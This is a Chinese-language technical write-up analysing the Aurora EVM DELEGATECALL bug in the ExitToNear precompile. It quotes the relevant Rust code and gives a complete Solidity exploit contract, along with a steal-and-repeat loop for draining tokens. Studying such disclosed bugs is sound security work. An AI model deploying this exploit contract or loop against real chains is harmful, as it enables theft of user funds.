Aurora EVM 最初由 NEAR 内部开发,是 NEAR 生态系统的官方 EVM。它实现了与以太坊协议的 1:1 体验,包括采用 ETH 作为基础货币。除了基本范围之外,EVM 还允许进行额外的预编译。此类预编译使 EVM 能够与 NEAR 生态系统的其余部分进行交互。其中包括exitToNear和exitToEthereum(只能通过 NEP-141 到 ERC-20 合约访问)。
exitToNear、exitToEthereum预编译只能从 Aurora EVM 自部署的 NEP-141 映射 ERC-20 合约中调用。这些 ERC-20 合约是通过调用deploy_erc20_token函数来部署的。https://doc.aurora.dev/evm/precompiles 
其中Aurora EVM转移代币到Near或着以太坊是以下两个预编译地址:
0xe9217bc70b7ed1f598ddd3199e80b093fa71124f 将 ETH 或 NEP-141 映射的 ERC-20 代币作为 NEP-141 从 Aurora EVM 转移到 Near。
0xb0bd02f6a392af548bdf1cfaee5dfa0eefcc8eab 通过Rainbow Bridge将 ETH 或 NEP-141 映射的 ERC-20 代币从 Aurora EVM 转移到以太坊。
当flag是0x0时,Eth transfer
当flag是0x1时,Erc20 transfer
转移Erc20比转移Eth时,多了一步销毁的动作,这里将是问题的关键。
在上图代码转移Erc20代币前,会先销毁代币,逻辑上没有问题。接下来看下转移Eth时的逻辑。
exitToNear、exitToEthereum预编译的作用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 impl  ExitToNear {                        pub  const  ADDRESS: Address =         super::make_address(0xe9217bc7 , 0x0b7ed1f598ddd3199e80b093fa71124f );     pub  fn  new  (current_account_id: AccountId) -> Self  {         Self  { current_account_id }     } } ... impl  Precompile for  ExitToNear {...         let  (nep141_address, args, exit_event) = match  flag {             0x0  => {                                                                                     if  let  Ok (dest_account) = AccountId::try_from(input) {                     (                         current_account_id,                                                                           format! (                             r#"{{"receiver_id": "{}", "amount": "{}", "memo": null}}"# ,                             dest_account,                             context.apparent_value.as_u128()                         ),                         events::ExitToNear {                             sender: Address::new(context.caller),                             erc20_address: events::ETH_ADDRESS,                             dest: dest_account.to_string(),                             amount: context.apparent_value,                         },                     )                 } else  {                     return  Err (ExitError::Other(Cow::from(                         "ERR_INVALID_RECEIVER_ACCOUNT_ID" ,                     )));                 } ...         let  transfer_promise = PromiseCreateArgs {             target_account_id: nep141_address,             method: "ft_transfer" .to_string(),             args: args.as_bytes().to_vec(),             attached_balance: Yocto::new(1 ),             attached_gas: costs::FT_TRANSFER_GAS,         };         #[cfg(feature = "error_refund" )]          let  promise = PromiseArgs::Callback(PromiseWithCallbackArgs {             base: transfer_promise,             callback: refund_promise,         });         #[cfg(not(feature = "error_refund" ))]          let  promise = PromiseArgs::Create(transfer_promise);         let  promise_log = Log {             address: Self::ADDRESS.raw(),             topics: Vec ::new(),             data: promise.try_to_vec().unwrap(),         };         let  exit_event_log = exit_event.encode();         let  exit_event_log = Log {             address: Self::ADDRESS.raw(),             topics: exit_event_log.topics,             data: exit_event_log.data,         };         Ok (PrecompileOutput {             logs: vec! [promise_log, exit_event_log],             ..Default ::default()         }         .into()) 
 
如果标志是0x0,将生成一个事件“ExitToNear”,记录这个出口的“sender”,“dest”和“amount”,然后返回包含事件信息的’ exit_event_log ‘。
这些日志以及执行期间的所有其他日志将由’ filter_promises_from_logs ‘检查。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 fn  filter_promises_from_logs  <T, P>(handler: &mut  P, logs: T) -> Vec <ResultLog>where     T: IntoIterator <Item = Log>,     P: PromiseHandler, {     logs.into_iter()         .filter_map(|log| {             if  log.address == ExitToNear::ADDRESS.raw()                 || log.address == ExitToEthereum::ADDRESS.raw()             {                 if  log.topics.is_empty() {                     if  let  Ok (promise) = PromiseArgs::try_from_slice(&log.data) {                         match  promise {                             PromiseArgs::Create(promise) => schedule_promise(handler, &promise),                             PromiseArgs::Callback(promise) => {                                 let  base_id = schedule_promise(handler, &promise.base);                                 schedule_promise_callback(handler, base_id, &promise.callback)                             }                         };                     } 
 
只要使用硬编码地址生成日志ExitTo(Near|Ethereum)::ADDRESS,log.data就会将其作为要安排的新承诺进行处理。
因为log在AUrora上的验证只需要满足“是否由内置合约地址生成”以及“msg.value是否大于0“即可通过验证。
第一个条件时天然达成的。
要达成第二个条件,在这里利用DELEGATECALL来代替CALL进行调用合约(Aurora只禁用了STATICCALL却没有禁用DELEGATECALL)。
DELEGATECALL与CALL的区别如下图
当使用DELEGATECALL调用时,msg.data/msg.value只会进行值传递,却不会变化拥有者。
所以这个漏洞的利用链就成熟了,如下:
1.    在Aurora上部署恶意合约,通过DELEGATECALL去调用ExitToNear(0xe9217bc70b7ed1f598ddd3199e80b093fa71124f内置合约地址)
2.    调用下述恶意代码,Aurora将被诱骗向Near上的调用方发送nETH,但是却不会销毁发起合约的代币,从而实现窃取
 
Exploit.sol 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 // SPDX-License-Identifier: GPL-3.0 pragma solidity ^0.8.7; contract Exploit {     address payable private owner;     constructor() {         owner = payable(msg.sender);     }     function exploit(bytes memory recipient) public payable {         require(msg.sender == owner);         bytes memory input = abi.encodePacked("\x00", recipient);         uint input_size = 1 + recipient.length;         assembly {             let res := delegatecall(gas(), 0xe9217bc70b7ed1f598ddd3199e80b093fa71124f, add(input, 32), input_size, 0, 32)         }         owner.transfer(msg.value);     } } 
 
3.    要保证恶意合约初始有部分余额,然后通过窃取-转回-再窃取的循环,指数爆炸,最终实现窃取所有代币
 
https://medium.com/immunefi/aurora-infinite-spend-bugfix-review-6m-payout-e635d24273d https://pwning.mirror.xyz/CB4XUkbJVwPo7CaRwRmCApaP2DMjPQccW-NOcCwQlAs